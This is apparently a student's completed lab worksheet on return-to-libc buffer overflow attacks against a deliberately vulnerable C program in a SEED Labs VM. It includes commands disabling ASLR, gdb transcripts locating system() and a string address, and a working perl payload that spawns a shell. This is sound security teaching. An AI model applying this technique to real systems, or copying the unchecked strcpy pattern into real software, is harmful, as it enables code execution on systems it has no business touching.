Studio: Buffer Overflows: Return-to-libc technique, Part 1

Overview

In this studio, we will explore buffer overflow exploits on systems that cannot execute code on the stack, a condition often referred to by the abbreviation NX. Starting with this lab, you will have fewer step-by-step instructions and will be expected to remember skills from past labs.

We will be working in our SEED Labs VM.

GATE 1

We will start by working on a system that has its NX protection enabled but ASLR disabled. Go ahead and **disable ASLR** on your VM (the command for which, by now, you may remember by memory but may look up in previous slides/studios if necessary). Show your transcript for this step below.

```
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

As discussed in lecture, we can mount an attack by directing the flow of execution to a location in memory that will achieve the same end-goal as that of our original shellcode: to open a new shell (i.e. a terminal).

Create a folder on your VM called “return-to-libc” and enter the new directory. Using nano or the text editor of your choice, create a file **ans_check7.c** and fill it with the following code. The code is similar to the `ans_check` code we have worked with in earlier exercises, with differences marked in bold.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_answer(char *ans) {

  int ans_flag = 0;
  char ans_buf[38];
```

```
  strcpy(ans_buf, ans);

  if (strcmp(ans_buf, "forty-two") == 0)
    ans_flag = 1;

  return ans_flag;

}

int main(int argc, char *argv[]) {

  if (argc < 2) {
    printf("Usage: %s <answer>\n", argv[0]);
    exit(0);
  }
  if (check_answer(argv[1])) {
    printf("Right answer!\n");
  } else {
    printf("Wrong answer!\n");
  }
  printf("About to exit!\n");
  fflush(stdout);

  system("/bin/date");
  fflush(stdout);

}
```

Take a moment to read through the code.

Next, compile the C file (with the *-fno-stack-protector* option to disable stack canaries but with NX enabled) and run the program. Include your gcc command and the program output below. Don't forget to include flags to include debug information for gdb, to compile for a 32-bit architecture with no position-independent code! Be careful with your compiler options; a mistake here will cause confusion and errors for you later.

```
[02/18/26]seed@Kaiyuan:~$ gcc -g -m32 -fno-stack-protector -no-pie
ans_check7.c -o ans_check7
[02/18/26]seed@Kaiyuan:~$ ./ans_check7 forty-two
Right answer!
About to exit!
Wed Feb 18 23:06:54 UTC 2026
```

Most programs, including **ans_check7**, rely on the C standard library, libc. The return-to-libc method we discussed in the lecture explains how we can pass command line arguments to the `system()` function in the linked libc library to spawn a new shell, hence spawning a shell without requiring the ability to execute code on the stack.

The payload for such an exploit should have the following structure (where '&' is the address-of operator):

```
PADDING, &system(), &exit_path, &cmd_string
```

Ignoring the padding, the first two values are addresses of code. The third (and final) value is the address of a properly terminated string containing the name of the program that we wish to execute. In our examples, we will use "`/bin/bash`". The amount of `PADDING` must be such that the `&system()` value overwrites the return address on the stack.

This payload structure is determined by the x86 function calling convention, and is designed to mimic a legitimate call to the `system()` function from source code. When such a call is made, the x86 runtime expects to find at the top of the stack a return address followed by the arguments to the `system()` function. In our payload, we provide "`&exit_path`" as the return address, and "`&cmd_string`" as the argument to the `system()` function. By placing the address of the `system()` function in the return address location, we cause that function's code to be executed when the vulnerable function returns, and because we have arranged the stack data in the same way it would be arranged if the `system()` function call had been compiled from source code, the runtime will continue "normal" execution of the `system()` function with our chosen argument, after which it will return "normally" to the `&exit_path` (and therefore gracefully terminate without crashing, as we have done with prior "quiet" exit paths).

When building an actual exploit and calculating `PADDING` length, note that the payload extends two words beyond the overwrite of the return address.

GATE 2

Use your memory or consult course lecture materials and find the address of the `system()` function and record your search transcript and result below:

```
--------------------------------------------------------------------------------------------------------------------------
gdb-peda$ break main
Breakpoint 1 at 0x80492ae: file ans_check7.c, line 18.
gdb-peda$ run
Starting program: /home/seed/ans_check7
[----------------------------------registers-----------------------------------]
EAX: 0xf7fb7088 --> 0xffffd60c --> 0xffffd761 ("SHELL=/bin/bash")
EBX: 0x0
```

```
ECX: 0x28c0135
EDX: 0xffffd594 --> 0x0
ESI: 0xf7fb5000 --> 0x1e8d6c
EDI: 0xf7fb5000 --> 0x1e8d6c
EBP: 0x0
ESP: 0xffffd56c --> 0xf7de6ed5 (<__libc_start_main+245>: add    esp,0x10)
EIP: 0x80492ae (<main>: endbr32)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80492a9 <check_answer+83>: mov    ebx,DWORD PTR [ebp-0x4]
   0x80492ac <check_answer+86>: leave
   0x80492ad <check_answer+87>: ret
=> 0x80492ae <main>: endbr32
   0x80492b2 <main+4>: lea    ecx,[esp+0x4]
   0x80492b6 <main+8>: and    esp,0xfffffff0
   0x80492b9 <main+11>: push   DWORD PTR [ecx-0x4]
   0x80492bc <main+14>: push   ebp
[-------------------------------------stack-------------------------------------]
0000| 0xffffd56c --> 0xf7de6ed5 (<__libc_start_main+245>: add    esp,0x10)
0004| 0xffffd570 --> 0x1
0008| 0xffffd574 --> 0xffffd604 --> 0xffffd74b ("/home/seed/ans_check7")
0012| 0xffffd578 --> 0xffffd60c --> 0xffffd761 ("SHELL=/bin/bash")
0016| 0xffffd57c --> 0xffffd594 --> 0x0
0020| 0xffffd580 --> 0xf7fb5000 --> 0x1e8d6c
0024| 0xffffd584 --> 0x0
0028| 0xffffd588 --> 0xffffd5e8 --> 0xffffd604 --> 0xffffd74b ("/home/seed/ans_check7")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, main (argc=0x1, argv=0xffffd604) at ans_check7.c:18
18 int main(int argc, char *argv[]) {
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e0d360 <system>
```

Find an address to serve as the quiet `&exit_path` (be sure to review the lecture slides for this) and record your search transcript and result below:

```
[02/19/26]seed@Kaiyuan:~$ objdump -D ans_check7 | grep -A 60 \<main\>
080492ae <main>:
 80492ae: f3 0f 1e fb          endbr32
 80492b2: 8d 4c 24 04          lea    0x4(%esp),%ecx
 80492b6: 83 e4 f0             and    $0xfffffff0,%esp
 80492b9: ff 71 fc             pushl  -0x4(%ecx)
 80492bc: 55                   push   %ebp
 80492bd: 89 e5                mov    %esp,%ebp
 80492bf: 53                   push   %ebx
 80492c0: 51                   push   %ecx
 80492c1: e8 ca fe ff ff       call   8049190 <__x86.get_pc_thunk.bx>
 80492c6: 81 c3 3a 2d 00 00    add    $0x2d3a,%ebx
 80492cc: 89 c8                mov    %ecx,%eax
```

```
80492ce: 83 38 01            cmpl   $0x1,(%eax)
80492d1: 7f 22               jg     80492f5 <main+0x47>
80492d3: 8b 40 04            mov    0x4(%eax),%eax
80492d6: 8b 00               mov    (%eax),%eax
80492d8: 83 ec 08            sub    $0x8,%esp
80492db: 50                  push   %eax
80492dc: 8d 83 12 e0 ff ff   lea    -0x1fee(%ebx),%eax
80492e2: 50                  push   %eax
80492e3: e8 e8 fd ff ff      call   80490d0 <printf@plt>
80492e8: 83 c4 10            add    $0x10,%esp
80492eb: 83 ec 0c            sub    $0xc,%esp
80492ee: 6a 00               push   $0x0
80492f0: e8 2b fe ff ff      call   8049120 <exit@plt>
80492f5: 8b 40 04            mov    0x4(%eax),%eax
80492f8: 83 c0 04            add    $0x4,%eax
80492fb: 8b 00               mov    (%eax),%eax
80492fd: 83 ec 0c            sub    $0xc,%esp
8049300: 50                  push   %eax
8049301: e8 50 ff ff ff      call   8049256 <check_answer>
8049306: 83 c4 10            add    $0x10,%esp
```

GATE 3

Find the address of `&cmd_string` (the shell environment variable that contains “/bin/bash”) and record your transcript and results below. You can use whatever method you like, including the `find_var.c` program shown here:

```
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
   if(!argv[1])
      exit(1);
   printf("%p\n", getenv(argv[1]));
   return 0;
}
```

I use the `find_var.c` program.

```
[02/19/26]seed@Kaiyuan:~$ ./find_var SHELL
0xffffd761
```

GATE 4

We are now ready to construct our payload using the addresses gathered above.
First, run `echo $$` and record the number you see, which is the Process ID of the current shell (note: each time you open a new shell, you will have a new process ID, so this shell should be the one that you execute your eventual full exploit in):

```
[02/19/26]seed@Kaiyuan:~$ echo $$
99563
```

Now construct the payload with the addresses you found above, using the template

`PADDING+&system()+&exit_path+&cmd_string`

Remember that the PADDING should be set so that the system() address overwrites the vulnerable return address on the stack. You have done this in previous labs. You will probably want to use gdb and an annotated stack to make sure that your padding is correct. You can include your annotated stack in the space below if you wish.

Execute the program on the command line. Provide your transcript and the output between the lines below. NOTE: the exploit may not be successful!

```
 [02/19/26]seed@Kaiyuan:~$ gdb -q ans_check7
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean
"=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean
"=="?
  if pyversion is 3:
Reading symbols from ans_check7...
gdb-peda$ break 9
Breakpoint 1 at 0x8049273: file ans_check7.c, line 9.
gdb-peda$ break 11
Breakpoint 2 at 0x8049285: file ans_check7.c, line 11.
gdb-peda$ run 1111111111
Starting program: /home/seed/ans_check7 1111111111
[----------------------------------registers-----------------------------------]
EAX: 0xffffd756 ("1111111111")
EBX: 0x804c000 --> 0x804bf10 --> 0x1
ECX: 0xffffd570 --> 0x2
```

```
EDX: 0xffffd594 --> 0x0
ESI: 0xf7fb5000 --> 0x1e8d6c
EDI: 0xf7fb5000 --> 0x1e8d6c
EBP: 0xffffd538 --> 0xffffd558 --> 0x0
ESP: 0xffffd500 --> 0x0
EIP: 0x8049273 (<check_answer+29>: sub    esp,0x8)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049261 <check_answer+11>: call   0x8049190 <__x86.get_pc_thunk.bx>
   0x8049266 <check_answer+16>: add    ebx,0x2d9a
   0x804926c <check_answer+22>: mov    DWORD PTR [ebp-0xc],0x0
=> 0x8049273 <check_answer+29>: sub    esp,0x8
   0x8049276 <check_answer+32>: push   DWORD PTR [ebp+0x8]
   0x8049279 <check_answer+35>: lea    eax,[ebp-0x32]
   0x804927c <check_answer+38>: push   eax
   0x804927d <check_answer+39>: call   0x80490f0 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffd500 --> 0x0
0004| 0xffffd504 --> 0x1
0008| 0xffffd508 --> 0x1000
0012| 0xffffd50c --> 0xffffd610 --> 0xffffd761 ("SHELL=/bin/bash")
0016| 0xffffd510 --> 0xf7fb3224 --> 0xf7f3c0f0 --> 0xfb1e0ff3
0020| 0xffffd514 --> 0x80000
0024| 0xffffd518 --> 0xf7fb5000 --> 0x1e8d6c
0028| 0xffffd51c --> 0xf7fb84e8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, check_answer (ans=0xffffd756 "1111111111") at ans_check7.c:9
9   strcpy(ans_buf, ans);
gdb-peda$ x/s ans_buf
0xffffd506: ""
gdb-peda$ x/64xw $esp
0xffffd500: 0x00000000 0x00000001 0x00001000 0xffffd610
0xffffd510: 0xf7fb3224 0x00080000 0xf7fb5000 0xf7fb84e8
0xffffd520: 0xf7fb5000 0xf7fe22d0 0x00000000 0x00000000
0xffffd530: 0xf7fb53fc 0x0804c000 0xffffd558 0x08049306
0xffffd540: 0xffffd756 0xffffd604 0xffffd610 0x080492c6
0xffffd550: 0xffffd570 0x00000000 0x00000000 0xf7de6ed5
0xffffd560: 0xf7fb5000 0xf7fb5000 0x00000000 0xf7de6ed5
0xffffd570: 0x00000002 0xffffd604 0xffffd610 0xffffd594
0xffffd580: 0xf7fb5000 0x00000000 0xffffd5e8 0x00000000
0xffffd590: 0xf7ffd000 0x00000000 0xf7fb5000 0xf7fb5000
0xffffd5a0: 0x00000000 0x5caa3349 0x1fddf559 0x00000000
0xffffd5b0: 0x00000000 0x00000000 0x00000002 0x08049140
0xffffd5c0: 0x00000000 0xf7fe7ad4 0xf7fe22d0 0x0804c000
0xffffd5d0: 0x00000002 0x08049140 0x00000000 0x08049176
0xffffd5e0: 0x080492ae 0x00000002 0xffffd604 0x08049390
0xffffd5f0: 0x08049400 0xf7fe22d0 0xffffd5fc 0x0000001c
gdb-peda$ quit
[02/19/26]seed@Kaiyuan:~$ ./ans_check7 $(perl -e 'print
"A"x54,"\x60\xd3\xe0\xf7","\xf0\x92\x04\x08","\x61\xd7\xff\xff"')
[02/19/26]seed@Kaiyuan:~$ echo $$
```

99584

It is very likely that this formula alone didn't work. If it did not work, and you got a segmentation fault then there is a problem with your padding or &system address. If you did not get a segmentation fault but did get an error line with pattern "sh: …: not found", the cause of this is that the location of the SHELL variable in the `find_var` program's address space is not identical to its location in your `ans_check7` program's address space. As a result, the address provided for the command string is probably off by a few bytes. You can find the correct address either by trial and error -- moving further away from your starting address one byte at a time -- or deterministically, by re-compiling the `find_var.c` program to an executable whose name has the same number of characters as "`ans_check`", then getting the address from the modified program. (Can you think of why the deterministic method works?)

When your attack is successful, you will find yourself in a new bash shell that may have the same user prompt as the original. This can make it hard to tell if you are in a new shell or not. The shell command

```
echo $$
```

returns the process ID of the shell you are in. If your exploit is successful, your new shell will have a different PID than the original shell, and this command will return a different PID after running the code than before. Once you have confirmed that you are in a new shell, you can exit that (new) shell with confidence that it will not exit your original shell.

Make any necessary corrections to `&cmd_string`, and include your transcript and successful exploitation below. Let us know if you get stuck here - it might be that one of your addresses contains a null terminator, which would lead to only a portion of your input being written on the stack; you should certainly use gdb and breakpoints to verify that the entire payload is being copied by strcpy. **Important: in the space below, include a terminal screen shot that: shows 'echo $$' before your successful exploit, shows 'echo $$' within the new shell that is opened, shows your 'exit' from the new shell, and shows 'echo $$' when you are back in the original parent shell.**

```
Last login: Thu Feb 19 04:20:57 2026 from 128.252.175.128
[02/19/26]seed@Kaiyuan:~$ echo $$
99563
[02/19/26]seed@Kaiyuan:~$ ./find_addr1 SHELL
0xffffd761
[02/19/26]seed@Kaiyuan:~$ ./ans_check7 $(perl -e 'print "A"x54,"\x60\xd3\xe0\xf7","\
xf0\x92\x04\x08","\x61\xd7\xff\xff"')
[02/19/26]seed@Kaiyuan:~$ echo $$
99584
[02/19/26]seed@Kaiyuan:~$ echo $$
99584
[02/19/26]seed@Kaiyuan:~$ exit
exit
[02/19/26]seed@Kaiyuan:~$ echo $$
99563
```

Now run the same command, but change `{&exit_path}` to another address of your choice that is not a valid code address in the program.
You should still get a new shell, but get a segfault when you exit it. Can you explain why?

```
[02/19/26]seed@Kaiyuan:~$ echo $$
99563
[02/19/26]seed@Kaiyuan:~$ ./ans_check7 $(perl -e 'print "A"x54,"\x60\xd3\xe0\xf7","\
xf0\x92\x04\xaa","\x61\xd7\xff\xff"')
[02/19/26]seed@Kaiyuan:~$ echo $$
99618
[02/19/26]seed@Kaiyuan:~$ exit
exit
Segmentation fault (core dumped)
[02/19/26]seed@Kaiyuan:~$
```

You still get a new shell because your payload successfully redirects the program's execution flow to the `system()` function and correctly passes the `&cmd_string` as its argument. However, when you type exit to close the shell, the `system()` function finishes running and attempts to return to the caller. Since you replaced the valid return address with an invalid `{&exit_path}`, the CPU tries to fetch instructions from an unmapped or restricted memory location, resulting in an illegal memory access that causes the operating system to immediately throw a segmentation fault.

At this checkpoint, we have created exploits that can bypass the NX protection when ASLR is turned off.